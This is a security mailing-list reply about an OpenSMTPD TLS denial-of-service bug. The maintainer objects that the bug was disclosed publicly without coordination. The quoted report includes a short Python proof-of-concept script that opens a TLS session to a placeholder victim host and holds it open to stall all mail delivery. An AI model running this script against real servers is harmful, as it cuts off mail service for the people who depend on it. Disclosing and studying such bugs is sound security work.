oss-sec mailing list archives
Re: CVE Request: DoS in OpenSMTPD TLS Support
From: Gilles Chehade <gilles () poolp org>
Date: Sat, 18 May 2013 18:16:43 +0200
Erf... Not too nice to send a CVE request without ANY coordination with us ... Just for the record, you contacted us today reporting a bug which could be memory corruption and you didn't know if it could be exploited. Then I replied telling you that we discovered and fixed the bug two days ago and I then explained to you what the bug really was (wrong logic in the IO events handling code in our SSL layer). I then told you that we made snapshots with the fix applied AND that we has planned for a release on *Monday* with the fixes backported. The snapshot mail, commit log and diffs makes the issue obvious, I just don't understand why you had to go and publish *RIGHT AWAY* a script on public lists after our mail exchange... I'm not mad that you disclosed a bug, we're very open about it, and the git history is full of references to crash and security fixes, but it's just REALLY not nice how you handled this and are forcing me to do this release in a hurry rather than handling it with package maintainers. Next time, please coordinate a little, just to be nice. On Sat, May 18, 2013 at 04:27:22PM +0200, Jason A. Donenfeld wrote:
Hi Kurt, The SSL handling in the latest OpenSMTPD (5.3.1) misconfigures its sockets in blocking mode, allowing an attacker to prevent all mail delivery simply by holding a socket open. I discovered this accidentally, as I noticed my HP printer's smtp client would keep the connection indefinitely open after an unsuccessful authentication attempt, causing no more mail to be delivered until I SIGKILL'd my smtpd process or unplugged my printer. The following reproduces the attack trivially: #!/usr/bin/env python2 import smtplib import time print "[+] Connecting to server and initiating TLS" smtp = smtplib.SMTP("mail.some-vitim-host.blah", 587) smtp.starttls() print "[+] No clients will be able to connect as long as this remains open." time.sleep(100000000) Apparently this was fixed recently upstream, noting "evil client" in the commit message: http://git.zx2c4.com/OpenSMTPD/commit/?id=38b26921bad5fe24ad747bf9d591330d683728b0 A snapshot has been posted to http://www.opensmtpd.org/archives/ , but no patch release has yet been made. Jason
-- Gilles Chehade https://www.poolp.org @poolpOrg
Current thread:
- CVE Request: DoS in OpenSMTPD TLS Support Jason A. Donenfeld (May 18)
- Re: CVE Request: DoS in OpenSMTPD TLS Support Gilles Chehade (May 18)
- Re: Re: CVE Request: DoS in OpenSMTPD TLS Support Kurt Seifried (May 18)
- Re: CVE Request: DoS in OpenSMTPD TLS Support Jason A. Donenfeld (May 18)
- Re: Re: CVE Request: DoS in OpenSMTPD TLS Support Kurt Seifried (May 18)
- Re: Re: CVE Request: DoS in OpenSMTPD TLS Support Gilles Chehade (May 19)
- Re: CVE Request: DoS in OpenSMTPD TLS Support Gilles Chehade (May 18)